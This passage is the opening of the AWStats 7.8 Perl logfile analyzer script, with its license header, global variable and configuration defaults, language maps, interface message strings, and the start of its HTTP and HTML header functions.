1#!/usr/local/bin/perl
2#------------------------------------------------------------------------------
3# Free realtime web server logfile analyzer to show advanced web statistics.
4# Works from command line or as a CGI. You must use this script as often as
5# necessary from your scheduler to update your statistics and from command
6# line or a browser to read report results.
7# See AWStats documentation (in docs/ directory) for all setup instructions.
8#
9# This program is free software; you can redistribute it and/or modify
10# it under the terms of the GNU General Public License as published by
11# the Free Software Foundation; either version 2 of the License, or
12# (at your option) any later version.
13#
14# This program is distributed in the hope that it will be useful,
15# but WITHOUT ANY WARRANTY; without even the implied warranty of
16# GNU General Public License for more details.
17#
18# You should have received a copy of the GNU General Public License
19# along with this program. If not, see <http://www.gnu.org/licenses/>.
20#------------------------------------------------------------------------------
21require 5.007;
22
23#$|=1;
24#use warnings;		# Must be used in test mode only. This reduce a little process speed
25#use diagnostics;	# Must be used in test mode only. This reduce a lot of process speed
26use strict;
27no strict "refs";
28use Time::Local
29  ; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
30use Socket;
31use Encode;
32use File::Spec;
33
34
35#------------------------------------------------------------------------------
36# Defines
37#------------------------------------------------------------------------------
38use vars qw/ $REVISION $VERSION /;
39$REVISION = '20200416';
40$VERSION  = "7.8 (build $REVISION)";
41
42# ----- Constants -----
43use vars qw/
44  $DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE
45  $LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE
46  $WIDTHCOLICON $TOOLTIPON
47  $lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate
48  $NOHTML
49  /;
50$DEBUGFORCED = 0
51  ; # Force debug level to log lesser level into debug.log file (Keep this value to 0)
52$NBOFLINESFORBENCHMARK = 8192
53  ; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2)
54$FRAMEWIDTH = 240;    # Width of left frame when UseFramesWhenCGI is on
55$NBOFLASTUPDATELOOKUPTOSAVE =
56  500;                # Nb of records to save in DNS last update cache file
57$LIMITFLUSH =
58  5000;   # Nb of records in data arrays after how we need to flush data on disk
59$NEWDAYVISITTIMEOUT = 764041;    # Delay between 01-23:59:59 and 02-00:00:00
60$VISITTIMEOUT       = 10000
61  ; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000)
62$NOTSORTEDRECORDTOLERANCE = 20000
63  ; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
64$WIDTHCOLICON = 32;
65$TOOLTIPON    = 0;    # Tooltips plugin loaded
66$NOHTML       = 0;    # Suppress the html headers
67
68# ----- Running variables -----
69use vars qw/
70  $DIR $PROG $Extension
71  $Debug $ShowSteps
72  $DebugResetDone $DNSLookupAlreadyDone
73  $RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent
74  $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate
75  $lowerval
76  $PluginMode
77  $MetaRobot
78  $AverageVisits $AveragePages $AverageHits $AverageBytes
79  $TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown
80  $TotalPages $TotalHits $TotalBytes $TotalHitsErrors
81  $TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes
82  $TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages
83  $TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords
84  $TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer
85  $FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired
86  $QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent
87  $pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size
88  $pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken
89  $pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra
90  /;
91$DIR = $PROG = $Extension = '';
92$Debug          = $ShowSteps            = 0;
93$DebugResetDone = $DNSLookupAlreadyDone = 0;
94$RunAsCli       = $UpdateFor            = $HeaderHTTPSent = $HeaderHTMLSent = 0;
95$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
96$LastUpdate          = 0;
97$lowerval            = 0;
98$PluginMode          = '';
99$MetaRobot           = 0;
100$AverageVisits = $AveragePages = $AverageHits = $AverageBytes = 0;
101$TotalUnique         = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0;
102$TotalPages          = $TotalHits = $TotalBytes = $TotalHitsErrors = 0;
103$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
104$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0;
105$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0;
106$TotalDifferentKeywords = 0;
107$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0;
108$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
109(
110	$FrameName,    $Center,       $FileConfig,        $FileSuffix,
111	$Host,         $YearRequired, $MonthRequired,     $DayRequired,
112	$HourRequired, $QueryString,  $SiteConfig,        $StaticLinks,
113	$PageCode,     $PageDir,      $PerlParsingFormat, $UserAgent
114  )
115  = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' );
116
117# ----- Plugins variable -----
118use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /;
119%PluginsLoaded           = ();
120$PluginDir               = '';
121$AtLeastOneSectionPlugin = 0;
122
123# ----- Time vars -----
124use vars qw/
125  $starttime
126  $nowtime $tomorrowtime
127  $nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear
128  $nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns
129  $StartSeconds $StartMicroseconds
130  /;
131$StartSeconds = $StartMicroseconds = 0;
132
133# ----- Variables for config file reading -----
134use vars qw/
135  $FoundNotPageList
136  /;
137$FoundNotPageList = 0;
138
139# ----- Config file variables -----
140use vars qw/
141  $StaticExt
142  $DNSStaticCacheFile
143  $DNSLastUpdateCacheFile
144  $MiscTrackerUrl
145  $Lang
146  $MaxRowsInHTMLOutput
147  $MaxLengthOfShownURL
148  $MaxLengthOfStoredURL
149  $MaxLengthOfStoredUA
150  %BarPng
151  $BuildReportFormat
152  $BuildHistoryFormat
153  $ExtraTrackedRowsLimit
154  $DatabaseBreak
155  $SectionsToBeSaved
156  /;
157$StaticExt              = 'html';
158$DNSStaticCacheFile     = 'dnscache.txt';
159$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt';
160$MiscTrackerUrl         = '/js/awstats_misc_tracker.js';
161$Lang                   = 'auto';
162$SectionsToBeSaved      = 'all';
163$MaxRowsInHTMLOutput    = 1000;
164$MaxLengthOfShownURL    = 64;
165$MaxLengthOfStoredURL = 256;  # Note: Apache LimitRequestLine is default to 8190
166$MaxLengthOfStoredUA  = 256;
167%BarPng               = (
168	'vv' => 'vv.png',
169	'vu' => 'vu.png',
170	'hu' => 'hu.png',
171	'vp' => 'vp.png',
172	'hp' => 'hp.png',
173	'he' => 'he.png',
174	'hx' => 'hx.png',
175	'vh' => 'vh.png',
176	'hh' => 'hh.png',
177	'vk' => 'vk.png',
178	'hk' => 'hk.png'
179);
180$BuildReportFormat     = 'html';
181$BuildHistoryFormat    = 'text';
182$ExtraTrackedRowsLimit = 500;
183$DatabaseBreak         = 'month';
184use vars qw/
185  $DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $DynamicDNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly
186  $BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles
187  $NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfLinesComment $NbOfLinesBlank $NbOfOldLines $NbOfNewLines
188  $NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords
189  $ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs
190  $ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats
191  $ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats
192  $IncludeInternalLinksInOriginSection
193  $AuthenticatedUsersNotCaseSensitive
194  $Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery
195  $DecodeUA $DecodePunycode
196  /;
197(
198	$DebugMessages,
199	$AllowToUpdateStatsFromBrowser,
200	$EnableLockForUpdate,
201	$DNSLookup,
202	$DynamicDNSLookup,
203	$AllowAccessFromWebToAuthenticatedUsersOnly,
204	$BarHeight,
205	$BarWidth,
206	$CreateDirDataIfNotExists,
207	$KeepBackupOfHistoricFiles,
208	$NbOfLinesParsed,
209	$NbOfLinesDropped,
210	$NbOfLinesCorrupted,
211	$NbOfLinesComment,
212	$NbOfLinesBlank,
213	$NbOfOldLines,
214	$NbOfNewLines,
215	$NbOfLinesShowsteps,
216	$NewLinePhase,
217	$NbOfLinesForCorruptedLog,
218	$PurgeLogFile,
219	$ArchiveLogRecords,
220	$ShowDropped,
221	$ShowCorrupted,
222	$ShowUnknownOrigin,
223	$ShowDirectOrigin,
224	$ShowLinksToWhoIs,
225	$ShowAuthenticatedUsers,
226	$ShowFileSizesStats,
227	$ShowScreenSizeStats,
228	$ShowSMTPErrorsStats,
229	$ShowEMailSenders,
230	$ShowEMailReceivers,
231	$ShowWormsStats,
232	$ShowClusterStats,
233	$IncludeInternalLinksInOriginSection,
234	$AuthenticatedUsersNotCaseSensitive,
235	$Expires,
236	$UpdateStats,
237	$MigrateStats,
238	$URLNotCaseSensitive,
239	$URLWithQuery,
240	$URLReferrerWithQuery,
241	$DecodeUA,
242	$DecodePunycode
243  )
244  = (
245	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
246	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
247  );
248use vars qw/
249  $DetailedReportsOnNewWindows
250  $FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone
251  $WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI
252  $ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats
253  $ShowHoursStats $ShowDomainsStats $ShowHostsStats
254  $ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats $ShowDownloadsStats
255  $ShowOSStats $ShowBrowsersStats $ShowOriginStats
256  $ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats $ShowHTTPErrorsPageDetail
257  $AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
258  /;
259(
260	$DetailedReportsOnNewWindows,
261	$FirstDayOfWeek,
262	$KeyWordsNotSensitive,
263	$SaveDatabaseFilesWithPermissionsForEveryone,
264	$WarningMessages,
265	$ShowLinksOnUrl,
266	$UseFramesWhenCGI,
267	$ShowMenu,
268	$ShowSummary,
269	$ShowMonthStats,
270	$ShowDaysOfMonthStats,
271	$ShowDaysOfWeekStats,
272	$ShowHoursStats,
273	$ShowDomainsStats,
274	$ShowHostsStats,
275	$ShowRobotsStats,
276	$ShowSessionsStats,
277	$ShowPagesStats,
278	$ShowFileTypesStats,
279	$ShowDownloadsStats,
280	$ShowOSStats,
281	$ShowBrowsersStats,
282	$ShowOriginStats,
283	$ShowKeyphrasesStats,
284	$ShowKeywordsStats,
285	$ShowMiscStats,
286	$ShowHTTPErrorsStats,
287	$ShowHTTPErrorsPageDetail,
288	$AddDataArrayMonthStats,
289	$AddDataArrayShowDaysOfMonthStats,
290	$AddDataArrayShowDaysOfWeekStats,
291	$AddDataArrayShowHoursStats
292  )
293  = (
294	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
295	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
296  );
297use vars qw/
298  $AllowFullYearView
299  $LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze
300  $LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
301  /;
302(
303	$AllowFullYearView,          $LevelForRobotsDetection,
304	$LevelForWormsDetection,     $LevelForBrowsersDetection,
305	$LevelForOSDetection,        $LevelForRefererAnalyze,
306	$LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
307	$LevelForKeywordsDetection
308  )
309  = ( 2, 2, 0, 2, 2, 2, 2, 2, 2 );
310use vars qw/
311  $DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName
312  $AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs
313  $LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain
314  $UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
315  $AddLinkToExternalCGIWrapper
316  /;
317(
318	$DirLock,                                  $DirCgi,
319	$DirConfig,                                $DirData,
320	$DirIcons,                                 $DirLang,
321	$AWScript,                                 $ArchiveFileName,
322	$AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
323	$HTMLEndSection,                           $LinksToWhoIs,
324	$LinksToIPWhoIs,                           $LogFile,
325	$LogType,                                  $LogFormat,
326	$LogSeparator,                             $Logo,
327	$LogoLink,                                 $StyleSheet,
328	$WrapperScript,                            $SiteDomain,
329	$UseHTTPSLinkForUrl,                       $URLQuerySeparators,
330	$URLWithAnchor,                            $ErrorMessages,
331	$ShowFlagLinks,                            $AddLinkToExternalCGIWrapper
332  )
333  = (
334	'', '', '', '', '', '', '', '', '', '', '', '', '', '',
335	'', '', '', '', '', '', '', '', '', '', '', '', '', '', ''
336  );
337use vars qw/
338  $color_Background $color_TableBG $color_TableBGRowTitle
339  $color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle
340  $color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other
341  $color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
342  /;
343(
344	$color_Background,   $color_TableBG,     $color_TableBGRowTitle,
345	$color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
346	$color_TableTitle,   $color_text,        $color_textpercent,
347	$color_titletext,    $color_weekend,     $color_link,
348	$color_hover,        $color_other,       $color_h,
349	$color_k,            $color_p,           $color_e,
350	$color_x,            $color_s,           $color_u,
351	$color_v
352  )
353  = (
354	'', '', '', '', '', '', '', '', '', '', '', '',
355	'', '', '', '', '', '', '', '', '', ''
356  );
357
358# ---------- Init arrays --------
359use vars qw/
360  @RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen
361  @SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen
362  @BrowsersSearchIDOrder @OSSearchIDOrder @WordsToCleanSearchUrl
363  @WormsSearchIDOrder
364  @RobotsSearchIDOrder @SearchEnginesSearchIDOrder
365  @_from_p @_from_h
366  @_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k
367  @DOWIndex @fieldlib @keylist
368  /;
369@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = ();
370@_from_p = @_from_h = ();
371@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = ();
372@DOWIndex = @fieldlib = @keylist = ();
373use vars qw/
374  @MiscListOrder %MiscListCalc
375  %OSFamily %BrowsersFamily @SessionsRange %SessionsAverage
376  %LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %BrowsersSafariBuildToVersionHash
377  @HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers
378  @DefaultFile @SkipDNSLookupFor
379  @SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles
380  @OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers
381  @URLWithQueryWithOnly @URLWithQueryWithout
382  @ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra
383  @ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat
384  @ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal
385  @ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal
386  @ExtraAddAverageRow @ExtraAddSumRow
387  @PluginsToLoad
388  /;
389@MiscListOrder = (
390	'AddToFavourites',  'JavascriptDisabled',
391	'JavaEnabled',      'DirectorSupport',
392	'FlashSupport',     'RealPlayerSupport',
393	'QuickTimeSupport', 'WindowsMediaPlayerSupport',
394	'PDFSupport'
395);
396%MiscListCalc = (
397	'TotalMisc'                 => '',
398	'AddToFavourites'           => 'u',
399	'JavascriptDisabled'        => 'hm',
400	'JavaEnabled'               => 'hm',
401	'DirectorSupport'           => 'hm',
402	'FlashSupport'              => 'hm',
403	'RealPlayerSupport'         => 'hm',
404	'QuickTimeSupport'          => 'hm',
405	'WindowsMediaPlayerSupport' => 'hm',
406	'PDFSupport'                => 'hm'
407);
408@SessionsRange =
409  ( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' );
410%SessionsAverage = (
411	'0s-30s',   15,  '30s-2mn',   75,   '2mn-5mn', 210,
412	'5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
413	'1h+',      3600
414);
415
416# HTTP-Accept or Lang parameter => AWStats code to use for lang
417# ISO-639-1 or 2 or other       => awstats-xx.txt where xx is ISO-639-1
418%LangBrowserToLangAwstats = (
419	'sq'    => 'al',
420	'ar'    => 'ar',
421	'ba'    => 'ba',
422	'bg'    => 'bg',
423	'zh-tw' => 'tw',
424	'zh'    => 'cn',
425	'cs'    => 'cz',
426	'de'    => 'de',
427	'da'    => 'dk',
428	'en'    => 'en',
429	'et'    => 'et',
430	'fi'    => 'fi',
431	'fr'    => 'fr',
432	'gl'    => 'gl',
433	'es'    => 'es',
434	'eu'    => 'eu',
435	'ca'    => 'ca',
436	'el'    => 'gr',
437	'hu'    => 'hu',
438	'is'    => 'is',
439	'in'    => 'id',
440	'it'    => 'it',
441	'ja'    => 'jp',
442	'kr'    => 'ko',
443	'lv'    => 'lv',
444	'nl'    => 'nl',
445	'no'    => 'nb',
446	'nb'    => 'nb',
447	'nn'    => 'nn',
448	'pl'    => 'pl',
449	'pt'    => 'pt',
450	'pt-br' => 'br',
451	'ro'    => 'ro',
452	'ru'    => 'ru',
453	'sr'    => 'sr',
454	'sk'    => 'sk',
455	'sv'    => 'se',
456	'th'    => 'th',
457	'tr'    => 'tr',
458	'uk'    => 'ua',
459	'cy'    => 'cy',
460	'wlk'   => 'cy'
461);
462%LangAWStatsToFlagAwstats =
463  (  # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
464	'ca' => 'es_cat',
465	'et' => 'ee',
466	'eu' => 'es_eu',
467	'cy' => 'wlk',
468	'gl' => 'glg',
469	'he' => 'il',
470	'ko' => 'kr',
471	'ar' => 'sa',
472	'sr' => 'cs'
473  );
474
475@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
476@DefaultFile = @SkipDNSLookupFor = ();
477@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
478@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = ();
479@URLWithQueryWithOnly     = @URLWithQueryWithout    = ();
480@ExtraName                = @ExtraCondition         = @ExtraStatTypes = ();
481@MaxNbOfExtra             = @MinHitExtra            = ();
482@ExtraFirstColumnTitle    = @ExtraFirstColumnValues = ();
483@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
484@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
485@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
486@ExtraAddAverageRow         = @ExtraAddSumRow                = ();
487@PluginsToLoad              = ();
488
489# ---------- Init hash arrays --------
490use vars qw/
491  %BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers
492  %DomainsHashIDLib
493  %MimeHashLib %MimeHashFamily
494  %OSHashID %OSHashLib
495  %RobotsHashIDLib %RobotsAffiliateLib
496  %SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys
497  %WormsHashID %WormsHashLib %WormsHashTarget
498  /;
499use vars qw/
500  %HTMLOutput %NoLoadPlugin %FilterIn %FilterEx
501  %BadFormatWarning
502  %MonthNumLib
503  %ValidHTTPCodes %ValidSMTPCodes
504  %TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits
505  %MaxNbOf %MinHit
506  %ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile
507  %val %nextval %egal
508  %TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable
509  /;
510%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = ();
511%BadFormatWarning           = ();
512%MonthNumLib                = ();
513%ValidHTTPCodes             = %ValidSMTPCodes = ();
514%TrapInfosForHTTPErrorCodes = ();
515%NotPageList = ();
516%DayBytes    = %DayHits               = %DayPages  = %DayVisits   = ();
517%MaxNbOf     = %MinHit                = ();
518%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = ();
519%val = %nextval = %egal = ();
520%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
521%MyDNSTable = ();
522use vars qw/
523  %FirstTime %LastTime
524  %MonthHostsKnown %MonthHostsUnknown
525  %MonthUnique %MonthVisits
526  %MonthPages %MonthHits %MonthBytes
527  %MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes
528  %_session %_browser_h %_browser_p
529  %_domener_p %_domener_h %_domener_k %_errors_h %_errors_k
530  %_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out
531  %_host_p %_host_h %_host_k %_host_l %_host_s %_host_u
532  %_waithost_e %_waithost_l %_waithost_s %_waithost_u
533  %_keyphrases %_keywords %_os_h %_os_p %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r
534  %_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h
535  %_misc_p %_misc_h %_misc_k
536  %_cluster_p %_cluster_h %_cluster_k
537  %_se_referrals_p %_se_referrals_h %_sider_h %_referer_h %_err_host_h %_url_p %_url_k %_url_e %_url_x
538  %_downloads
539  %_unknownreferer_l %_unknownrefererbrowser_l
540  %_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l
541  /;
542&Init_HashArray();
543
544# ---------- Init Regex --------
545use vars qw/ $regclean1 $regclean2 $regdate /;
546$regclean1 = qr/<(recnb|\/td)>/i;
547$regclean2 = qr/<\/?[^<>]+>/i;
548$regdate   = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/;
549
550# ---------- Init Tie::hash arrays --------
551# Didn't find a tie that increase speed
552#use Tie::StdHash;
553#use Tie::Cache::LRU;
554#tie %_host_p, 'Tie::StdHash';
555#tie %TmpOS, 'Tie::Cache::LRU';
556
557# PROTOCOL CODES
558use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /;
559
560# DEFAULT MESSAGE
561use vars qw/ @Message /;
562@Message = (
563	'Unknown',
564	'Unknown (unresolved ip)',
565	'Others',
566	'View details',
567	'Day',
568	'Month',
569	'Year',
570	'Statistics for',
571	'First visit',
572	'Last visit',
573	'Number of visits',
574	'Unique visitors',
575	'Visit',
576	'different keywords',
577	'Search',
578	'Percent',
579	'Traffic',
580	'Domains/Countries',
581	'Visitors',
582	'Pages-URL',
583	'Hours',
584	'Browsers',
585	'',
586	'Referers',
587	'Never updated (See \'Build/Update\' on awstats_setup.html page)',
588	'Visitors domains/countries',
589	'hosts',
590	'pages',
591	'different pages-url',
592	'Viewed',
593	'Other words',
594	'Pages not found',
595	'HTTP Error codes',
596	'Netscape versions',
597	'IE versions',
598	'Last Update',
599	'Connect to site from',
600	'Origin',
601	'Direct address / Bookmarks',
602	'Origin unknown',
603	'Links from an Internet Search Engine',
604	'Links from an external page (other web sites except search engines)',
605	'Links from an internal page (other page on same site)',
606	'Keyphrases used on search engines',
607	'Keywords used on search engines',
608	'Unresolved IP Address',
609	'Unknown OS (Referer field)',
610	'Required but not found URLs (HTTP code 404)',
611	'IP Address',
612	'Error&nbsp;Hits',
613	'Unknown browsers (Referer field)',
614	'different robots',
615	'visits/visitor',
616	'Robots/Spiders visitors',
617	'Free realtime logfile analyzer for advanced web statistics',
618	'of',
619	'Pages',
620	'Hits',
621	'Versions',
622	'Operating Systems',
623	'Jan',
624	'Feb',
625	'Mar',
626	'Apr',
627	'May',
628	'Jun',
629	'Jul',
630	'Aug',
631	'Sep',
632	'Oct',
633	'Nov',
634	'Dec',
635	'Navigation',
636	'File type',
637	'Update now',
638	'Bandwidth',
639	'Back to main page',
640	'Top',
641	'dd mmm yyyy - HH:MM',
642	'Filter',
643	'Full list',
644	'Hosts',
645	'Known',
646	'Robots',
647	'Sun',
648	'Mon',
649	'Tue',
650	'Wed',
651	'Thu',
652	'Fri',
653	'Sat',
654	'Days of week',
655	'Who',
656	'When',
657	'Authenticated users',
658	'Min',
659	'Average',
660	'Max',
661	'Web compression',
662	'Bandwidth saved',
663	'Compression on',
664	'Compression result',
665	'Total',
666	'different keyphrases',
667	'Entry',
668	'Code',
669	'Average size',
670	'Links from a NewsGroup',
671	'KB',
672	'MB',
673	'GB',
674	'Grabber',
675	'Yes',
676	'No',
677	'Info.',
678	'OK',
679	'Exit',
680	'Visits duration',
681	'Close window',
682	'Bytes',
683	'Search&nbsp;Keyphrases',
684	'Search&nbsp;Keywords',
685	'different refering search engines',
686	'different refering sites',
687	'Other phrases',
688	'Other logins (and/or anonymous users)',
689	'Refering search engines',
690	'Refering sites',
691	'Summary',
692	'Exact value not available in "Year" view',
693	'Data value arrays',
694	'Sender EMail',
695	'Receiver EMail',
696	'Reported period',
697	'Extra/Marketing',
698	'Screen sizes',
699	'Worm/Virus attacks',
700	'Hit on favorite icon',
701	'Days of month',
702	'Miscellaneous',
703	'Browsers with Java support',
704	'Browsers with Macromedia Director Support',
705	'Browsers with Flash Support',
706	'Browsers with Real audio playing support',
707	'Browsers with Quictime audio playing support',
708	'Browsers with Windows Media audio playing support',
709	'Browsers with PDF support',
710	'SMTP Error codes',
711	'Countries',
712	'Mails',
713	'Size',
714	'First',
715	'Last',
716	'Exclude filter',
717'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
718	'Cluster',
719'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
720	'Numbers after + are successful hits on "robots.txt" files',
721'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
722'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
723	'Traffic viewed',
724	'Traffic not viewed',
725	'Monthly history',
726	'Worms',
727	'different worms',
728	'Mails successfully sent',
729	'Mails failed/refused',
730	'Sensitive targets',
731	'Javascript disabled',
732	'Created by',
733	'plugins',
734	'Regions',
735	'Cities',
736	'Opera versions',
737	'Safari versions',
738	'Chrome versions',
739	'Konqueror versions',
740	',',
741 	'Downloads',
742 	'Export CSV'
743);
744
745#------------------------------------------------------------------------------
746# Functions
747#------------------------------------------------------------------------------
748
749# Function to solve pb with openvms
750sub file_filt (@) {
751	my @retval;
752	foreach my $fl (@_) {
753		$fl =~ tr/^//d;
754		push @retval, $fl;
755	}
756	return sort @retval;
757}
758
759#------------------------------------------------------------------------------
760# Function:		Write on output header of HTTP answer
761# Parameters:	None
762# Input:		$HeaderHTTPSent $BuildReportFormat $PageCode $Expires
763# Output:		$HeaderHTTPSent=1
764# Return:		None
765#------------------------------------------------------------------------------
766sub http_head {
767	if ( !$HeaderHTTPSent ) {
768		my $newpagecode = $PageCode ? $PageCode : "utf-8";
769		if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
770			print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
771				? "Content-type: text/html; charset=$newpagecode\n"
772				: "Content-type: text/xml; charset=$newpagecode\n"
773			);
774		}
775		else { print "Content-type: text/html; charset=$newpagecode\n"; }
776
777# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
778		if ( $Expires =~ /^\d+$/ ) {
779			print "Cache-Control: public\n";
780			print "Last-Modified: " . gmtime($starttime) . "\n";
781			print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n";
782		}
783		print "\n";
784	}
785	$HeaderHTTPSent++;
786}
787
788#------------------------------------------------------------------------------
789# Function:		Write on output header of HTML page
790# Parameters:	None
791# Input:		%HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir
792# Output:		$HeaderHTMLSent=1
793# Return:		None
794#------------------------------------------------------------------------------
795sub html_head {
796	my $dir = $PageDir ? 'right' : 'left';
